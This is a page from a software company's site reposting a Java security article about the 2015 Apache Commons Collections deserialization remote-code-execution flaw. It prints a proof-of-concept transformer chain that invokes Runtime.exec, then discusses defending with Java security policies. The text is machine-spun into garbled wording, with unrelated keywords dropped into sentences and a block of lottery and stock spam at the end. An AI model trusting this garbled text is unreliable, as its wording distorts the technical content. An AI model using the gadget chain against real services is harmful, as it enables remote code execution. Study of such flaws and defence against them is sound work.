歡迎訪問昆山寶鼎軟件有限公司網站! 設為首頁 | 網站地圖 | XML | RSS訂閱 | 寶鼎郵箱 | 后臺管理
?

新聞資訊

MENU

軟件開發知識

攻擊者通過允許 CAD加密 Java序列化協議的端口

點擊: 次  來源:寶鼎軟件 時間:2017-06-01

原文出處: hengyunabc的專欄

update: 2015-11-16

新版apache commons collections 3.2.2修復裂痕

新版本的apache commons collections默認克制了不安詳的一些轉換類??梢酝ㄟ^進級來修復裂痕。參考release說明:https://commons.apache.org/proper/commons-collections/release_3_2_2.html

Dubbo rpc長途代碼執行的例子

update: 2015-11-13

從頭思考了下這個裂痕,給出一個dubbo rpc長途代碼執行的例子。

https://github.com/hengyunabc/dubbo-apache-commons-collections-bug

可以說許多公司開放的rpc,只要協議里支持Java序列化方法,classpath里有apache commons collections的jar包,都存在被長途代碼執行的風險。

至于能不能通過http接口再挪用dubbo rpc長途代碼,貌似不太可行。因為信息難以通報。

Apache Commons Collections長途代碼執行裂痕

最近出來一個較量嚴重的裂痕,在利用了Apache Commons Collections的Java應用,可以長途代碼執行。包羅最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些臺甫鼎鼎的Java應用。

這個裂痕的嚴重的處地址于,縱然你的代碼里沒有利用到Apache Commons Collections里的類,只要Java應用的Classpath里有Apache Commons Collections的jar包,都可以長途代碼執行。

參考:

  • https://github.com/frohoff/ysoserial
  • http://blog.chaitin.com/2015-11-11_java_unserialize_rce/
  • 這個裂痕的演示很簡樸,只要在maven依賴里增加

    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>

    再執行下面的Java代碼:

    Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                    new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
    
    Transformer transformedChain = new ChainedTransformer(transformers);
    
    Map innerMap = new HashMap();
    innerMap.put("value", "value");
    Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
    
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
    onlyElement.setValue("foobar");

    這個裂痕的基礎問題并不是Java序列化的問題,而是Apache Commons Collections答允鏈式的任意的類函數反射挪用。進攻者通過答允Java序列化協議的端口,把進攻代碼上傳隨處事器上,再由Apache Commons Collections里的TransformedMap來執行。

    這里差池這個裂痕多做展開,可以看上面的參考文章。

    如何簡樸的防備Java措施挪用外部呼吁?

    從這個裂痕,勞務派遣管理系統,激發了好久之前的一個動機:如何簡樸的防備Java措施挪用外部呼吁?

    java相對來說安詳性問題較量少。呈現的一些問題大部門是操作反射,最終用Runtime.exec(String cmd)函數來執行外部呼吁的。假如可以克制JVM執行外部呼吁,未知裂痕的危害性會大大低落,可以大大提高JVM的安詳性。

    換而言之,就是如何克制Java執行Runtime.exec(String cmd)之類的函數。

    在Java里有一套Security Policy,可是實際上用的人較量少。因為設置起來太貧苦了。
    參考:

  • http://docs.oracle.com/javase/8/docs/technotes/guides/security/PolicyFiles.html
  • http://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html
  • http://docs.gigaspaces.com/xap102sec/java-security-policy-file.html?具體的權限列表可以參考這個文檔
  • 從文檔里可以知道,Java里并沒有直接克制Rumtine.exec 函數執行的權限。

    克制文件執行的權限在java.io.FilePermission里。假如想克制所有外部文件執行,可以在下面的設置文件中把execute?刪除:

    grant {
      permission java.io.FilePermission "<<ALL FILES>>", "read, write, delete, execute";
    };

    可是Java權限機制是白名單的,尚有一大堆的權限要設置上去,很是巨大。
    從tomcat的設置就知道了。http://tomcat.apache.org/tomcat-7.0-doc/security-manager-howto.html
    所以Tomcat默認是沒有啟用Security Policy的,可以通過在呼吁加上-security參數來啟用。

    catalina.sh start -security

    那么有沒有簡樸的步伐可以在代碼里克制Java執行外部呼吁?

    排列三305组选前后关系 cac股票指数 福建体彩31选7官方网 股票涨跌的原理计算 广西快3开奖走势图 湖南体彩赛车今日开奖 河北20选5怎么玩 北京快乐8开奖记录 学理财应该从哪些学起 甘肃快3走走势图爱彩乐 淘宝广西快3一定牛